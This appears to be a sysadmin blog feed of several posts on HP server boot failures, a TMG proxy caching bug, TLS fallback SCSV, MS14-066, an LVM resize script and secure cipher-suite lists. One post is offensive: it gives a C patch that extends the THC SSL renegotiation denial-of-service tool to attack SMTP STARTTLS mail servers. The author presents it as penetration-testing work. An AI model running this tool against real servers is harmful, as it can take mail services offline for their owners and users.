Quantcast
Channel: alpacapowered
Viewing all 34 articles
Browse latest View live

Illegal OpCode Red Screen of Death while booting a HP Proliant server from an USB SD card

$
0
0

A couple of weeks ago I was updating a few HP Proliant DL360p Gen8 servers running ESXi on a local SD card with ESXi patches via VUM, so business as usual. Almost, because on one of the servers I ran into the following issue:
After rebooting the host, the BIOS POST completed fine and the Proliant DL360p Gen8 server should now boot the ESXi OS from it’s attached USB SD card where ESXi was installed; but instead it displayed this unsightly screen telling  something went very, very wrong:

iloillegalopcodeI reset the server several times via iLO but the issue persisted and I had no idea what exactly went bonkers here. Then I decided to boot a Linux live image, which worked fine, narrowing down the issue to the OS installation (device) itself. I thought the updates corrupted the installation but that actually wasn’t the case.
When attempting to mount the SD card USB drive from within the live Linux I noticed it was actually complete absent from the system. The USB bus was still ok, but lsusb showed no SD card reader device in the system at all!

Just to make sure I wasn’t imagining things I booted an ESXi installation medium too and likewise, it didn’t detect the local SD card but only the local RAID controller volume:

So the Illegal OpCode Red Screen of Death was probably the result of the server trying to force a boot from the local RAID array volume, which is a pure GPT VMFS5 volume without a proper boot partition.

I first thought the SD card reader or SD card was faulty but after googling around for a while I stumbled upon this article:
HP Advisory: ProLiant DL380p Gen8 Server -Server May Fail to Boot From an SD Card or USB Device After Frequent Reboots While Virtual Media Is Mounted in the HP Integrated Lights-Out 4 (iLO 4) Integrated Remote Console (IRC)

DESCRIPTION
In rare instances, a ProLiant DL380p Gen8 server may fail to boot from an SD card or a USB device after frequent reboots while Virtual Media is mounted in the HP Integrated Lights-Out 4 (iLO 4) Integrated Remote Console (IRC).
This issue can occur if the server is rebooted approximately every five minutes. If this occurs, the following message will be displayed: Non-System disk or disk error-replace and strike any key when ready
SCOPE
Any HP ProLiant DL380p Gen8 server with HP Integrated Lights-Out 4 (iLO 4).
RESOLUTION
If a ProLiant DL380p Gen8 server fails to boot from an SD card or a USB device, cold boot the server to recover from this issue.

The article only mentions DL380p Gen8 servers but I imagine the same could apply to DL360p Gen8 or other servers as well. The problem description doesn’t really fit all that well either to my case but I tried cold booting the server as instructed. And this did the trick. After leaving the server powered-off for about 5 minutes and powering it on again, it detected the SD card again and booted up the ESXi installation on it fine.
For good measure I rebooted the server another time, which also went without a hitch.

The key takeaway here:
1. As per the mentioned HP Advisory, the USB SD card device of a Proliant 380/360 Gen8 server might randomly disappear during a reboot, so be aware of that and try cold booting the server in that case.
2. When dealing with an Illegal OpCode boot error on a HP Proliant server like shown above, make sure you have a valid boot device. On a physical Linux host for example the grub boot loader might be corrupted, which can easily be fixed by re-installing grub with a live Linux. I’ve had that happen to me with physical Linux servers before.



TMG “502 Proxy Error. The data is invalid” while downloading Windows 8.1/2012R2 Update KB2919355

$
0
0

Recently I ran into an odd issue when trying to download the KB2919355 Update bundle from Microsoft. The problem affected WSUS and local Windows Update clients that used TMG as their explicit proxy and was reproducible with browsers as well:
The TMG proxy threw 502 Proxy Error ( The data is invalid.  ) when trying to access various different hosts and URLs serving the same update file such as these:
http://au.v4.download.windowsupdate.com/d/msdownload/update/software/crup/2014/02/windows8.1-kb2919355-x64_66955196a82751d1c8d9806d321487562b159f41.psf
http://fg.v4.download.windowsupdate.com/d/msdownload/update/software/crup/2014/02/windows8.1-kb2919355-x64_66955196a82751d1c8d9806d321487562b159f41.psf
http://wsus.ds.download.windowsupdate.com/d/msdownload/update/software/crup/2014/02/windows8.1-kb2919355-x64_66955196a82751d1c8d9806d321487562b159f41.psf

Strange enough the problem did not occur in transparent proxy mode.

I first suspected the problem was related to the issue described here, but in my case neither HTTP compression nor chunked transfer-encoding are used, thus this article and its explanation do not apply.

First let’s have a look at a normal response (bypassing the Proxy/transparent mode). We can see the file is approximately 3.8GiB in size, quite big but I’ve downloaded larger files without issues. There are no strange HTTP headers or anything sent by the servers (goes for GETs as well) and everything looks just fine:

 $ curl -I 'http://wsus.ds.download.windowsupdate.com/d/msdownload/update/software/crup/2014/02/windows8.1-kb2919355-x64_66955196a82751d1c8d9806d321487562b159f41.psf'
HTTP/1.1 200 OK
Via: 1.1 TMGPROXY01
Connection: Keep-Alive
Proxy-Connection: Keep-Alive
Content-Length: 4052160113
Date: Mon, 13 Oct 2014 11:12:31 GMT
Content-Type: application/octet-stream
ETag: "0cabe2eb931cf1:0"
Server: Microsoft-IIS/7.5
Accept-Ranges: bytes
Last-Modified: Mon, 24 Feb 2014 23:36:04 GMT
X-Powered-By: ASP.NET
X-CCC: IT
X-CID: 2

Now an identical request with the TMG as explicit proxy. The error was consistently reproducible on multiple TMG Nodes with HTTP GETs and HEADs as well:

$ curl -I  'http://wsus.ds.download.windowsupdate.com/d/msdownload/update/software/crup/2014/02/windows8.1-kb2919355-x64_66955196a82751d1c8d9806d321487562b159f41.psf' \
-x TMGPROXY01:8080
HTTP/1.1 502 Proxy Error ( The data is invalid.  )
Via: 1.1 TMGPROXY01
Connection: close
Proxy-Connection: close
Pragma: no-cache
Cache-Control: no-cache
Content-Type: text/html
Content-Length: 4028

[…]
Error Code: 502 Proxy Error. The data is invalid. (13)
[…]

I relatively quickly found a way to bypass the issue, and that was telling TMG to not serve the content from cache via the ‘Cache-Control: no-cache’ HTTP directive (or a similar one). This would always result in a successful request:

$ curl -I  'http://wsus.ds.download.windowsupdate.com/d/msdownload/update/software/crup/2014/02/windows8.1-kb2919355-x64_66955196a82751d1c8d9806d321487562b159f41.psf' \
-x 192.168.17.44:80 \
-H 'Cache-Control: no-cache'
HTTP/1.1 200 OK
Via: 1.0 TMGPROXY01
Connection: Keep-Alive
Proxy-Connection: Keep-Alive
Content-Length: 4052160113
Date: Tue, 16 Sep 2014 10:33:17 GMT
Content-Type: application/octet-stream
ETag: "0cabe2eb931cf1:0"
Server: Microsoft-IIS/7.5
Accept-Ranges: bytes
Last-Modified: Mon, 24 Feb 2014 23:36:04 GMT
X-Powered-By: ASP.NET
X-CCC: AT
X-CID: 2

So we can establish that something has to be wrong with the file in the cache or something. I took a look at the TMG web cache with the cachdir tool (an auto-scrolling nightmare) and there was indeed an entry in the cache:

cachedir tool

excuse_me_wtf_r_u_doin_dinosaur

So I deleted this cache entry and tested again. A few HTTP HEADs via curl -I worked fine and I tried to download it with a GET, which also went fine. However, after that GET all subsequent HEADs or GETs would produce the exact same 502 Proxy Error ( The data is invalid.  )  error.I deleted the cache entry again, same behaviour. Tried the procedure with one of the other download URLs, same result as well.
TMG would continue to cache the URL in an invalid state. Every time.

In order to bypass this behavior I added a custom Cache Rule in TMG, instructing it to never cache URLs larger than 2GiB from the TMG-builtin Microsoft Update Sites domain name set (make sure you put this rule before the original builtin Microsoft Update Cache Rule):

cacheruleWith this workaround, I was able to always successfully download the file consistently without issues.

Since this pretty much confirmed a bug in the TMG caching mechanism I opened a ticket at Microsoft for this issue. The engineer was able to reproduce the issue and confirmed it’s caused by a bug inside TMG:
Apparently the TMG web cache is only able to handle files up to 2 GiB in size and this discrepancy resulted in the error when it tried to access the cached file.
As to why it didn’t happen with other large (cacheable) files, or why TMG still inserted the file into its cache in the first place even though the Content-Length HTTP header clearly states the file was larger, is beyond me though.

The end of the story is that Microsoft will not fix this issue, for now at least, since it’s not critical and an easy workaround is available.
It might be incorporated into a future TMG Rollup, but I can only guess at this point. TMG 2010 SP2 Rollup 5 was released just in July 2014, so it’s not too unlikely that Microsoft will release another rollup bundle before TMG reaches its official end of mainstream support in April 2015.


SSL POODLE Attack – What is SCSV and how does it help?

$
0
0

The POODLE vulnerability is currently the hot topic in the security world. Here is a nice technical overview by the Google SSL Guru. POODLE relies on SSLv3, but today nearly every server and client supports at least TLS 1.0 in addition to SSLv3, which means SSLv3 connections should (and in fact are) be rather rare. But there is still a threat because of downgrade compatibility between the protocols. With POODLE, a rather new SSL/TLS enhancement to mitigate protocol downgrade attacks has been mentioned a lot recently.

TLS Fallback Signaling Cipher Suite Value prevents SSL/TLS protocol downgrades a man-in-the-middle can enforce when both sides actually support higher protocol versions.
For example, a Client sends a Client Hello handshake message that indicates support for TLS 1.2. Normally the server responds with its own highest protocol version in the Server Hello handshake message, and that will be the negotiated SSL/TLS version of the connection. If the server supports TLS 1.2 as well, the connection will use this protocol. If the server supports a lower version, the connection will use this instead (provided the client supports it as well of course).
Now an attacker who is able to intercept and alter traffic between the systems can screw up the handshake process and make it fail with arbitrary network errors (think: TCP RST). In this case the client often retries the connection with a lower initial SSL/TLS protocol version, say SSLv3 or TLS1, which makes it easier for the bad guy to attack the encrypted channel.

To prevent this kind of protocol downgrade attack, TLS Fallback SCSV was developed. Here’s a short overview of how it works:
Both, the client and server need to support it to make it work. TLS Fallback SCSV is used as a signaling cipher suite (TLS_FALLBACK_SCSV, value 0x5600) during the handshake. A signaling cipher suite does not provide actual encryption algorithms like other, “normal” cipher suites such as “TLS_RSA_WITH_AES_128_CBC_SHA” or “TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256″ or others. Instead they are used as simple protocol controls, similar to TLS extensions. A client can include the “TLS_FALLBACK_SCSV” cipher suite in his Client Hello message to tell the server, that the connection should only be established if the highest protocol version supported by the server is identical to or lower than that of what it sees in the Client Hello. So if the server supports TLS 1.2 but the Client Hello uses SSL3, TLS 1.0 or TLS 1.1, then the server should respond with an “inappropriate fallback”  TLS alert message.
The nitty gritty details of SCSV can be read in the IETF draft.

Here is an example of a failed handshake between a TLS 1.2 server supporting SCSV and a client using TLS 1.1 supporting SCSV:downgrade

Wireshark doesn’t know about this cipher suite yet so it lists it as unknown. The TLS_EMPTY_RENEGOTIATION_INFO_SCSV” signaling cipher suite is a similar safety guard to prevent an older session renegotiation vulnerability.

In contrast, this handshake completes normally with SCSV since the client supports TLS 1.2:sslnormal

 You can test whether a server supports SCSV with a recent openssl version and the -fallback_scsv option. For this you must tell openssl to use an older protocol version than what the server actually supports via the -ssl3, -tls1 or -tls1_1 flags. If the server supports SCSV, it will terminate the connection with a TLS alert.
Here’s an example with google.com and a Google mailserver, which both support TLS 1.2 and SCSV:

$ openssl s_client -connect google.com:443 -state -fallback_scsv -tls1_1
CONNECTED(00000003)
3072415468:error:1409443E:SSL routines:SSL3_READ_BYTES:tlsv1 alert inappropriate fallback:s3_pkt.c:1257:SSL alert number 86
3072415468:error:1409E0E5:SSL routines:SSL3_WRITE_BYTES:ssl handshake failure:s3_pkt.c:596
[...]

$ openssl s_client -connect aspmx.l.google.com.:25 -state -fallback_scsv -starttls smtp -tls1_1
CONNECTED(00000003)
3072067308:error:1409443E:SSL routines:SSL3_READ_BYTES:tlsv1 alert inappropriate fallback:s3_pkt.c:1257:SSL alert number 86
3072067308:error:1409E0E5:SSL routines:SSL3_WRITE_BYTES:ssl handshake failure:s3_pkt.c:596:
[...]

Changing the above to use TLS 1.2 instead will result in successful connections:
$ openssl s_client -connect google.com:443 -state -fallback_scsv -tls1_2
$ openssl s_client -connect aspmx.l.google.com.:25 -state -fallback_scsv -starttls smtp -tls1_2

The SSL Labs online test will also tell you if your server supports SCSV.

If you use an Apache webserver with mod_ssl and one of the recent openssl versions, it should already support SCSV by default. The same goes for my postfix mailserver that depends on openssl and supports SCSV out of the box. I tested this on my own CentOS with openssl-1.0.1e-30.el6_5.2.i686. (Remember, you should restart the services after updating openssl.)

Currently (as of October 2014), of the 3 major browsers only Chrome supports SCSV. Firefox is supposed to add support with version 35, IE does not support it and I’m not aware of any concrete roadmap to include it.

In the meantime, you should seriously consider disabling obsolete SSLv3 on the client and server side of your networks. Firefox will disable SSLv3 by default in Firefox 34 (release November 2014) and Google plans to follow in the next months with Chrome.
SSLv3 is officially dead now.


MS14-066 / CVE-2014-6321

$
0
0

After all the (well, partly justified) rage and criticism openssl or free/open source software in general received recently with fuckups like the heartbleed, changecipherspec or shellshock vulnerabilities, it’s been about time for a major vulnerability of a similar scale in our most beloved Windows systems.

This security update resolves a privately reported vulnerability in the Microsoft Secure Channel (Schannel) security package in Windows. The vulnerability could allow remote code execution if an attacker sends specially crafted packets to a Windows server.
The security update addresses the vulnerability by correcting how Schannel sanitizes specially crafted packets.Mitigating Factors
Microsoft has not identified any mitigating factors for this vulnerability.
Workarounds
Microsoft has not identified any workarounds for this vulnerability.
FAQ

What might an attacker use the vulnerability to do?
An attacker who successfully exploited this vulnerability could run arbitrary code on a target server.

How could an attacker exploit the vulnerability?
An attacker could attempt to exploit this vulnerability by sending specially crafted packets to a Windows server.

What systems are primarily at risk from the vulnerability?
Server and workstation systems that are running an affected version of Schannel are primarily at risk.

Oh? What do we have here? Is this an unauthenticated remote code execution vulnerability in the schannel Windows SSL/TLS library, affecting every Windows version since 2003 (probably XP and maybe 2000 as well)?. Let the SSL/TLS fuzzing begin; it’s probably only a matter of time until a PoC exploit is published (if it isn’t already in some secret channels, this was “privately reported”). Patch that stuff now.
Incidentally, this update also adds two new TLS 1.2 cipher suites to the schannel repository.


THC SSL Renegotiation DoS Tool for SMTP STARTTLS

$
0
0

The so called Secure Client-Initiated Renegotiation function of SSL/TLS suffers from a possible DoS danger because it burdens the server’s CPU orders of magnitude more than the client’s, who initiates it. Because of that, Client-Initiated Renegotiation is nowadays disabled by default in virtually all widely used SSL/TLS implementations.

However, I noticed that it seems to be still enabled by default on the postfix SMTP daemon including recent releases (postfix 2.6.6) and openssl (1.0.1j) versions and there appears to be no way of disabling it in the configuration. Since I already used the thc ssl dos tool which exploits this vulnerability in previous penetration tests on webservers, I thought it would be nice if it worked with SMTP mailservers supporting STARTTLS as well.

You can check whether a mailserver supports STARTTLS and (Secure) Client-Initiated Renegotiation with openssl like this (if it doesn’t support it, you will see a handshake failure):

$ openssl s_client -connect mail.mailhost.tld:25 -state -quiet -no_ign_eof -starttls smtp <<< 'R'
SSL_connect:before/connect initialization
SSL_connect:SSLv2/v3 write client hello A
SSL_connect:SSLv3 read server hello A
depth=1 CN = Cert
verify return:0
SSL_connect:SSLv3 read server certificate A
SSL_connect:SSLv3 read server key exchange A
SSL_connect:SSLv3 read server done A
SSL_connect:SSLv3 write client key exchange A
SSL_connect:SSLv3 write change cipher spec A
SSL_connect:SSLv3 write finished A
SSL_connect:SSLv3 flush data
SSL_connect:SSLv3 read server session ticket A
SSL_connect:SSLv3 read finished A
250 DSN
RENEGOTIATING
SSL_connect:SSL renegotiate ciphers
SSL_connect:SSLv3 write client hello A
SSL_connect:SSLv3 read server hello A
depth=1 CN = Cert
verify return:0
SSL_connect:SSLv3 read server certificate A
SSL_connect:SSLv3 read server key exchange A
SSL_connect:SSLv3 read server done A
SSL_connect:SSLv3 write client key exchange A
SSL_connect:SSLv3 write change cipher spec A
SSL_connect:SSLv3 write finished A
SSL_connect:SSLv3 flush data
SSL_connect:SSLv3 read server session ticket A
SSL_connect:SSLv3 read finished A
DONE
SSL3 alert write:warning:close notify

So I went ahead and modified the C code of the thc ssl dos tool a bit. I knew it shouldn’t be hard but my C programming skills can’t even be considered rusty, since I never learned it properly to begin with. Having said that, The C Programming Language is a great oldschool book to learn C from scratch.

I’ve added a new -s flag which will make the tool initiate the SMTP STARTTLS procedure for each connection.
Here’s a patch for thc-ssl-dos.c that you can apply via patch thc-ssl-dos.c diff:

--- thc-ssl-dos.c	2011-10-25 10:04:08.000000000 +0200
+++ thc-ssl-dos-smtp.c	2014-11-27 18:15:49.000000000 +0100
@@ -26,6 +26,7 @@
 	uint32_t flags;
 	uint16_t n_peers;
 	uint16_t n_max_peers;
+	uint16_t do_starttls;
 	uint32_t ip;
 	uint16_t port;
 	fd_set rfds;
@@ -120,6 +121,7 @@
 init_default(void)
 {
 	g_opt.n_max_peers = DEFAULT_PEERS;
+	g_opt.do_starttls = 0;
 	g_opt.port = htons(443);
 	g_opt.ip = -1; //inet_addr("127.0.0.1");
 	FD_ZERO(&g_opt.rfds);
@@ -159,6 +161,7 @@
 "./" PROGRAM_NAME " [options] <ip> <port>\n"
 "  -h      help\n"
 "  -l <n>  Limit parallel connections [default: %d]\n"
+"  -s      use SMTP STARTTLS\n"
 "", DEFAULT_PEERS);
 	exit(0);
 }
@@ -169,7 +172,7 @@
 	int c;
 	int i;
 	static int accept_flag = 0;
-	static int skipdelay_flag = 0;
+	static int skipdelay_flag = 1;

 	static struct option long_options[] =
 	{
@@ -180,7 +183,7 @@
 	int option_index = 0;


-	while ((c = getopt_long(argc, argv, "hl:", long_options, &option_index)) != -1)
+	while ((c = getopt_long(argc, argv, "hl:s", long_options, &option_index)) != -1)
 	{
 		switch (c)
 		{
@@ -189,6 +192,9 @@
 		case 'l':
 			g_opt.n_max_peers = atoi(optarg);
 			break;
+		case 's':
+			g_opt.do_starttls = 1;
+			break;
 		case 'h':
 		default:
 			usage();
@@ -487,6 +493,41 @@

 }

+static void
+smtp_starttls(struct _peer *p)
+{
+	//Toggle the blocking/nonblocking flag of the socket to set it to blocking since we need to read/write the socket
+	int opts;
+	opts = fcntl(p->sox, F_GETFL);
+	opts ^= O_NONBLOCK;
+	fcntl(p->sox, F_SETFL, opts);
+
+	//Read initial SMTP server banner
+	char buffer[256];
+	bzero(buffer, 256);
+	recv(p->sox, buffer, 255, 0);
+
+	//Send SMTP EHLO
+	char ehlo[] = "EHLO someserver.domain\n";
+	send(p->sox, ehlo, strlen(ehlo), 0);
+
+	//Read server reply
+	bzero(buffer, 256);
+	recv(p->sox, buffer, 255, 0);
+
+	//Send SMTP STARTTLS
+	char starttls[] = "STARTTLS\n";
+	send(p->sox, starttls, strlen(starttls), 0);
+
+	//Read server reply 220 2.0.0 Ready to start TLS
+	bzero(buffer, 256);
+	recv(p->sox, buffer, 255, 0);
+  
+	//Toggle the blocking/nonblocking flag of the socket again to set it to nonblocking
+	opts ^= O_NONBLOCK;
+	fcntl(p->sox, F_SETFL,opts);
+}
+
 /*
  * Called if in state STATE_TCP_CONNECTING
  */
@@ -502,6 +543,12 @@
 	len = 4;
 	getsockopt(p->sox, SOL_SOCKET, SO_ERROR, &errno, &len);

+	//Run SMTP STARTTLS
+	if(g_opt.do_starttls == 1)
+	{
+		smtp_starttls(p);
+	}
+
 	//DEBUGF("ret %d errno %d %s\n", ret, errno, strerror(errno));
 	ret = tcp_connect_try_finish(p, errno);

 


Script to extend LVM partitions

$
0
0

Here’s a script I wrote a while a go to extend LVM partitions on Linux machines.

The script assumes that you have extended the existing underlying physical (or “virtual” if it’s a VM) storage device prior to execution. It will rescan the disks (skip with -f), resize the existing partition (basically just setting a different end sector), reboot, and run scripts to extend the actual file system after the reboot. There are other ways to extend the disk space including creating a new partition on the additional disk space, but I’ve decided against that approach in favor of a single-partition scheme for management/simplicity’s sake.

This script will work with VMs and physical servers alike. I’ve tested it with RHEL 6/7 and CentOS 6/7, but it should generally work with other Linux distributions as well.

You can get the most recent version of this script on Github here. If you have any suggestions or improvements (which I’m sure there is plenty of room for), feel free to drop a comment or pull-request on Github.

#!/bin/bash
##########
# Script to resize a LVM Partition after extending the underlying disk device. Can be used on physical or virtual machines alike.
# Tested with CentOS6, RHEL6, CentOS7, RHEL7. This script is only intended for MBR partitioned disks and not for GPT.
#
# The script will first resize the partition by changing the partition end sector of the selected partition, and then after a reboot resize the filesystem.
# By default it rescans the SCSI bus to check a change in disk size if the disk was hot-extended, which is easy with VMs, and only then proceeds.
# If the extended disk size is recognized by the OS already, you can force resizing with the -f flag.
#
# It is recommended you backup the boot sector of your disk before as a safety measure with something like the following:
# # dd if=/dev/sda of=sda_mbr_backup.mbr bs=512 count=1 
# # sfdisk -d /dev/sda > sda_mbr_backup.bak
#
# Github: https://github.com/alpacacode/Homebrewn-Scripts
########

usage() {
  echo "Usage:
$0 [-p <LVM physical volume>] [-l <LVM logical volume>] [-f]
 
Options:
 -p physical LVM volume device to extend (check pvdisplay)
 -l logical LVM volume to extend (check lvdisplay)
 -f force extending without a disk rescan. Use this if the OS has detected the enlarged disk already, otherwise we first check whether the underlying disk is larger after a SCSI rescan
    
Example:
./lvmresize.sh -p /dev/sda2 -l /dev/VolGroup/lv_root -f" 1>&2
  exit 1
}

extenddisk_parted() {
  # Use parted because fdisk behavior can vary between OSes and scripting fdisk is non-deterministic.
  echo -e "\nThis will now extend partition number $partitionnum on disk $disk using start sector $startsector.\n"
  read -r -p "Are you sure? [y/N] " response
  response=${response,,} # tolower 
  if [[ $response =~ ^(yes|y)$ ]]
  then
    parted $disk --script unit s print
    parted $disk --script rm $partitionnum
    # The filesystem used here is irrelevant because we will set the partition to LVM next.
    parted $disk --script "mkpart primary ext2 ${startsector}s -1s"
    parted $disk --script set $partitionnum lvm on
    parted $disk --script unit s print

    # The 2nd script to expand the filesystem will be automatically executed on the next reboot.
    echo "#!/bin/bash
#Extend Physical Volume first
pvresize $p

#Extend LVM, using 100% of the free allocation units and resize filesystem
lvextend --extents +100%FREE $l --resizefs
chmod -x \$0" > /root/fsresize.sh
    chmod +x /root/fsresize.sh
    # Use a temporary systemd service or a rc.local script for extending the filesystem during next reboot, depending on what the OS is running.
    if(pidof systemd)
    then
      resizefs_systemd
    else
      resizefs_rclocal
    fi

    echo -e "Done. The system will reboot automatically in 15 seconds and resize the filesystem during reboot.\n"
    sleep 15
    # Reboot is necessary in most cases for the kernel to read the new partition table.
    reboot
  else
    echo -e "Aborted by user.\n"
    exit 1
  fi
}

resizefs_rclocal() {
  # Resize the filesystem using a script in rc.local if the OS run with sysvinit.
  echo "#Cleanup rc.local again
sed -i -e \"/\/root\/fsresize\.sh/d\" /etc/rc.d/rc.local" >> /root/fsresize.sh

  echo "/root/fsresize.sh" >> /etc/rc.d/rc.local
}

resizefs_systemd() {
  # Resize the filesystem using a script called by a temporary systemd service file if the OS runs with systemd.
  echo "#Cleanup systemd autostart script again.
systemctl disable fsresize.service
rm -f /etc/systemd/system/fsresize.service" >> /root/fsresize.sh

  echo "[Unit]
Description=Filesystem resize script for LVM volume $l

[Service]
ExecStart=/root/fsresize.sh

[Install]
WantedBy=multi-user.target" > /etc/systemd/system/fsresize.service
  systemctl enable fsresize.service
}

# Get options passed to the script.
while getopts ":p:l:f" o; do
  case "${o}" in
    p)
      p=${OPTARG}
      ;;
    l)
      l=${OPTARG}
      ;;
    f)
      f=1
      ;;
    *)
      usage
      ;;
  esac
done
shift $((OPTIND-1))

if [ -z "${p}" ] || [ -z "${l}" ]
then
  usage
fi

# Check if a valid LVM physical volume was supplied by verifying the pvdisplay exit code ($?).
pvdisplay $p > /dev/null
if [ $? != 0 ] || ( ! (file $p | grep -q "block special"))
then
  echo -e "Error: $p does not look like a block device or LVM physical volume.\n"
  usage
fi

# Check if a valid LVM logical volume was supplied by verifying the lvdisplay exit code ($?).
lvdisplay $l > /dev/null
if [ $? != 0 ]
then
  echo -e "Error: $l does not look like a LVM logical volume.\n"
  usage
fi

# Fill variables for later use.
disk=$(echo $p | rev | cut -c 2- | rev)
diskshort=$(echo $disk | grep -Po '[^\/]+$')
partitionnum=$(echo $p | grep -Po '\d$')
startsector=$(fdisk -u -l $disk | grep $p | awk '{print $2}')
if ! (fdisk -u -l $disk | grep $disk | tail -1 | grep $p | grep -q "Linux LVM")
then
  echo -e "Error: $p is not the last LVM volume on disk $disk. Cannot expand.\n"
  usage
fi

if [ "$f" != 1 ]
then
  oldsize=$(cat /sys/block/${diskshort}/size)
  # Rescan the SCSI bus to detect the grown disk.
  ls /sys/class/scsi_device/*/device/rescan | while read path; do echo 1 > $path; done
  ls /sys/class/scsi_host/host*/scan | while read path; do echo "- - -" > $path; done
  newsize=$(cat /sys/block/${diskshort}/size)

  # Check if the disk is larger now and proceed with the partition expansion if it is. 
  if [ $oldsize -lt $newsize ]
  then
    echo -e "Underlying disk $disk is larger now.\n"
    extenddisk_parted
  else
    echo -e "Disk Size not changed after rescan, already rescanned previously? Force extension with -f. Quitting.\n"
  fi
# When -f (force) flag is set, proceed to extend the disk without checking if it has grown.
else
    extenddisk_parted
fi

Secure Cipher-Suites for Qualys SSL Labs server test A/A+ rating

$
0
0

There are many possible ways to configure your server to support only secure cipher-suites and get an A/A+ rating from the SSL Labs SSL Test, some are more restrictive than others, some are more complex than others.

There is no single holy grail, but for openssl-based applications such as Apache, postfix, or nginx, I prefer to go with this more readable and to me more sensible general notation:
HIGH:!aNULL:!eNULL:!kECDH:!aDH:!RC4:!3DES:!CAMELLIA:!MD5:!PSK:!SRP:!KRB5:@STRENGTH

Checking the openssl documentation, this boils down to the following logic:

  • Only enable strong (High) encryption cipher suites (at least 128 bit length)
  • Exclude cipher-suites without authentication (aNULL) or without encryption (eNULL)
  • Exclude fixed/static ECDHE (kECDH) instead of ephemeral ECDHE keys (no PFS, rarely used)
  • Exclude cipher-suites using DH authentication (aDH), which is rarely used and needs the certificate to have static DH keys
  • Exclude RC4 and 3DES cipher-suites which are known to be weak or outdated
  • Exclude Camellia cipher-suites, which is rarely used/preferred by clients/servers when AES is already supported. AES is the de-facto standard
  • Exclude outdated cipher-suites using weak MD5 HMAC
  • Exclude cipher-suites used extremely rarely or only in very specific applications like Secure Remote Password authentication (SRP), PSK (Pre-Shared Key) and KRB5 (Kerberos5, also supports only old ciphers/HMAC)
  • Sort the cipher list by strength

With the recent openssl 1.0.1j version, this will enable a broad range of 30 secure AES-based ciphers suites, including some basic non-PFS AES suites for compatibility reasons (decide for yourself if you’re OK with this). This guarantees an SSL test rating of at least A.
If you really need to support older clients, then you could also consider leaving 3DES enabled.
Note: To get an A+ rating currently your certificate must have a SHA-256 chain and the server also needs to support TLS Fallback SCSV and apparently HTTP Strict Transport Security as well.

To see what effective cipher-suites this syntax will enable with your openssl version, check this:
openssl ciphers -V ‘HIGH:!aNULL:!eNULL:!kECDH:!aDH:!RC4:!3DES:!CAMELLIA:!MD5:!PSK:!SRP:!KRB5:@STRENGTH’

With openssl 1.0.1j+ (or a recent CentOS/RHEL 1.0.1e+ port) you should get the following 30 secure cipher-suites (I’ve formatted the list a bit to make it more readable, the names you see are in the openssl cipher-suite alias column):

Cipher-Suite ID

IANA Cipher-Suite Name

openssl Cipher-Suite Alias

PFS?

Key-Exchange

Authentication

Symmetric

Encryption

HMAC

0xC0,0x30

TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384

ECDHE-RSA-AES256-GCM-SHA384

yes

ECDH

RSA

AESGCM(256)

AEAD

0xC0,0x2C

TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384

ECDHE-ECDSA-AES256-GCM-SHA384

yes

ECDH

ECDSA

AESGCM(256)

AEAD

0xC0,0x28

TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384

ECDHE-RSA-AES256-SHA384

yes

ECDH

RSA

AESCBC(256)

SHA384

0xC0,0x24

TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA384

ECDHE-ECDSA-AES256-SHA384

yes

ECDH

ECDSA

AESCBC(256)

SHA384

0xC0,0x14

TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA

ECDHE-RSA-AES256-SHA

yes

ECDH

RSA

AESCBC(256)

SHA1

0xC0,0x0A

TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA

ECDHE-ECDSA-AES256-SHA

yes

ECDH

ECDSA

AESCBC(256)

SHA1

0x00,0xA3

TLS_DHE_DSS_WITH_AES_256_GCM_SHA384

DHE-DSS-AES256-GCM-SHA384

yes

DH

DSS

AESGCM(256)

AEAD

0x00,0x9F

TLS_DHE_RSA_WITH_AES_256_GCM_SHA384

DHE-RSA-AES256-GCM-SHA384

yes

DH

RSA

AESGCM(256)

AEAD

0x00,0x6B

TLS_DHE_RSA_WITH_AES_256_CBC_SHA256

DHE-RSA-AES256-SHA256

yes

DH

RSA

AESCBC(256)

SHA256

0x00,0x6A

TLS_DHE_DSS_WITH_AES_256_CBC_SHA256

DHE-DSS-AES256-SHA256

yes

DH

DSS

AESCBC(256)

SHA256

0x00,0x39

TLS_DHE_RSA_WITH_AES_256_CBC_SHA

DHE-RSA-AES256-SHA

yes

DH

RSA

AESCBC(256)

SHA1

0x00,0x38

TLS_DHE_DSS_WITH_AES_256_CBC_SHA

DHE-DSS-AES256-SHA

yes

DH

DSS

AESCBC(256)

SHA1

0x00,0x9D

TLS_RSA_WITH_AES_256_GCM_SHA384

AES256-GCM-SHA384

no

RSA

RSA

AESGCM(256)

AEAD

0x00,0x3D

TLS_RSA_WITH_AES_256_CBC_SHA256

AES256-SHA256

no

RSA

RSA

AESCBC(256)

SHA256

0x00,0x35

TLS_RSA_WITH_AES_256_CBC_SHA

AES256-SHA

no

RSA

RSA

AESCBC(256)

SHA1

0xC0,0x2F

TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256

ECDHE-RSA-AES128-GCM-SHA256

yes

ECDH

RSA

AESGCM(128)

AEAD

0xC0,0x2B

TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256

ECDHE-ECDSA-AES128-GCM-SHA256

yes

ECDH

ECDSA

AESGCM(128)

AEAD

0xC0,0x27

TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256

ECDHE-RSA-AES128-SHA256

yes

ECDH

RSA

AESCBC(128)

SHA256

0xC0,0x23

TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA256

ECDHE-ECDSA-AES128-SHA256

yes

ECDH

ECDSA

AESCBC(128)

SHA256

0xC0,0x13

TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA

ECDHE-RSA-AES128-SHA

yes

ECDH

RSA

AESCBC(128)

SHA1

0xC0,0x09

TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA

ECDHE-ECDSA-AES128-SHA

yes

ECDH

ECDSA

AESCBC(128)

SHA1

0x00,0xA2

TLS_DHE_DSS_WITH_AES_128_GCM_SHA256

DHE-DSS-AES128-GCM-SHA256

yes

DH

DSS

AESGCM(128)

AEAD

0x00,0x9E

TLS_DHE_RSA_WITH_AES_128_GCM_SHA256

DHE-RSA-AES128-GCM-SHA256

yes

DH

RSA

AESGCM(128)

AEAD

